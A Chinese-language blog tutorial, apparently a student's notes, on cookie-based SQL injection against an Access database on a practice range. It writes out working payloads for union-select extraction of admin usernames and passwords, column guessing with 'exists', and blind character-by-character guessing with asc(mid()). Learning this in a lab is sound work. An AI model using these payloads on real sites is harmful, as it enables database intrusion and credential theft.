zoukankan      html  css  js  c++  java
  • access数据库之cookie注入

      本来今天想写post注入的,但这几天正好看到chookie的注入的视频。就先写一下这个。大家对于我说的get post cookie注入可能会认为SQL注入就这几种方式。这概念是错的。Get post等注入意思是在get post cookie传递数据的地方进行拼接。你们可以用burpusite这款软件抓包来看自己的注入点是在什么地方。

         Cookie注入是有前提的。条件1是:程序对getpost方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。条件2是:在条件1的基础上还需要程序对提交数据获取方式是直接request("xxx")的方式,未指明使用request对象的具体方法进行获取。Request括号中的数据”xxx”你可以理解为页面上写了什么内容拼接进来就是什么内容,没有进行过滤。

      进入正题,先让我们看一下如何判断一个网站是否可以cookie注入吧。我这里用的是网上很多通用的方法。靶场用的是掌控安全免费靶场的第二题。

      只需要把url中的地址改为javascript:alert(document.cookie="id="+escape("171")); 然后回车,再访问没有id的源网址就可以了。如果页面正常说明可以cookie注入,如果不正常说明不行。现在来一次演示并且抓包看一下什么是我口中的cookie注入吧。

      首先更改url,用javascript语句得到相关参数。回车后会弹出一个框说明你语句成功了。

      接下来要做的就是将源网址http://120.203.13.75:8001/shownews.asp?id=171 后面的id=171删去并且回车,因为这个参数id已经获取至cookie中了。

      你会发现这个界面和之前的一模一样。证明这个网页是可以cookie注入的。现在让我们抓取上一步提交的数据吧, 看看网页时如何请求的。

      再让我们抓取一个http://120.203.13.75:8001/shownews.asp?id=171请求的参数来对比加深理解。

      可以很明显的看到下面这张图中的id=171有两处。而cookie注入中只有cookie后面这一处。这时候可能有同学会问,既然GET后面也有id=171,那么为什么还要用cookie注入呢?但是同学们别忘了前提的第一点,get注入被过滤了,那里没有办法用and什么的注入,而cookie可以接收id=171等数据且不被过滤and等关键字,所以用cookie注入。(对这前提我还不是特别理解,后期会好好深究)

      这时候可能有同学会不信,那我就用get注入试试看。再用同样的语法拼接进cookie注入来对比对比吧。

      使用命令http://120.203.13.75:8001/shownews.asp?id=171 and 1=1

      这里显示传参错误!明显不行,这里看cookie拼接试试。

      发现是可以的,现在同学们相信这个是cookie注入了吧。接下来的注入过程就和之前的一样了。在注入中使用其他命令去尝试吧骚年。

      本来要上传了,差点忘记了一点。这靶场的数据库是access,而我上一篇章那第一题用的靶场是mysql,上一章节也介绍了mysql数据库的架构。不懂得可以自己尝试装一遍,多打几遍命令便记住了。这里的accessmysql比有些特殊。access数据库是只有一个库的,所以也就不存在像mysql数据库一样通过查询informaion库中的数据来寻找数据了。

      有同学可能在好奇 ,你怎么知道哪些哪些是mysql数据库的,哪些是access数据库的呢。我是这样理解的。首先我们用order by 函数查看有多少“显示位”。

      我先猜11

      发现用11不行,那我用10呢?

      发现10是可以的,按照我之前mysql注入中的过程应该拼接and 1=2 union select 1,2,3,4,5,6,7,8,9,10 了。但是这句话在access这里行不行呢?输入语句javascript:alert(document.cookie="id="+escape("171 and 1=2 union select 1,2,3,4,5,6,7,8,9,10"));

      发现错误,这时候应该会有人问为什么不行,不是和之前mysql用的语句的一模一样的么?这就是mysqlaccess的一个区别了。如果想要网页回显自己输入的数据,select语句后面必须使用from xxx(数据库中的某张表)只有这样才可以回显。让我来试一下吧。

      有回显了吧?这时候有没有同学会问你为什么会from admin 而不是其他sadxc什么乱七八糟的表名呢。因为。。。我看了答案呀!嘿嘿,如果我不知道表名也是回显不出来的。而这个表名需要我们去猜哦,不仅表名需要去猜,字段名也需要猜哦。而在这题中内容可以通过代码在显示位中回显出来哦,先让我们猜解下字段吧。用函数and exists (select biaoming  from admin) ——猜列名。

      先使用javascript:alert(document.cookie="id="+escape("171 and exists (select user_name from admin) "));

      发现不行,证明没有这个列字段,所以语句不成立。用javascript:alert(document.cookie="id="+escape("171 and exists (select username from admin) "));试试。

      看,猜对了。像username这种列字段什么的,都是很多人通用的。你们可以去看一下爆破字典里面,列举的都是很多常用的列字段名。

      在这靶场中因为有回显位,所以我们只需要将列字段名写入就可以会显出来了。图中显示位是23789。在任意的位置上写上列字段名usernamepassword(用之前的方法猜)javascript:alert(document.cookie="id="+escape("171 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));

      看账号密码就这样爆出来了。这就是联合查询法。

      我在这里还想使用逐字猜解法,这种方法可能会在盲注中使用。这方法需要自己去用函数将每一位猜出来。先猜内容有几位,再用函数猜内容的第几位是什么,比如内容第一个字母是a,它的acall码是97。那就用这个函数(select top 1 asc(mid(username,1,1)) from article_admin)=n 如果你输入的n=97那么这个函数成立,页面回显成功,证明第一位字母是a。将每一位猜出来之后就得到最后的结果了。一般这种都是用sqlmap软件去爆破的。(sqlmap的使用我以后会更)。

      口说无凭来操作一遍吧!

      先使用函数and (select top 1 len(username ) from admin)=n n是自己要猜的第一行的位数。我这里猜个3试试。使用命令javascript:alert(document.cookie="id="+escape("171 and (select top 1 len(username ) from admin)=3 "));

     

      发现自己猜错了,那猜5位试试。使用命令javascript:alert(document.cookie="id="+escape("171 and (select top 1 len(username ) from admin)=5 "));试试。

      发现是可以的,证明username对应第一行的数据是5位。那接下来就开始猜解每一位的内容吧。使用函数 and (select top 1 asc(mid(username ,1,1)) from admin)=97 这段函数的意思是猜解username第一位的ascll值为97。让我们试试吧。

      发现第一字母是a,那第二个字母会是什么呢?我猜解一个b试试,and (select top 1 asc(mid(username ,2,1)) from admin)=98

      发现不是b,现在我要猜cde一个个猜下去嘛?当然不是了,那太慢了。我们可以用二分法<或者>来具体内容所在的区域。这在c语言排序中也是用到的。使用命令and (select top 1 asc(mid(username ,2,1)) from admin<105来看看吧!

      发现OK,那证明是在这个范围内的。剩下的就由你们自己去猜解吧!加油。

        Pass:本博客不仅是写给工作室的学弟学妹看的,也是印证自己学习历程的,也可以说是写给自己复习的。可能我的思路有些奇特。不懂的部分可以问我也可以去百度,百度不能解决所有问题。但是可以解决大部分问题。

  • 相关阅读:
    【树】树的前序遍历(非递归)
    表单提交中的input、button、submit的区别
    利用setTimeout来实现setInterval
    Jquery动画操作的stop()函数
    Javascript实现简单的双向绑定
    Javascript观察者模式
    CSS reset
    【CSS3】background-origin和background-clip的区别
    :before和::before的区别
    JS实现瀑布流
  • 原文地址:https://www.cnblogs.com/DaShuai-PX/p/9517470.html
Copyright © 2011-2022 走看看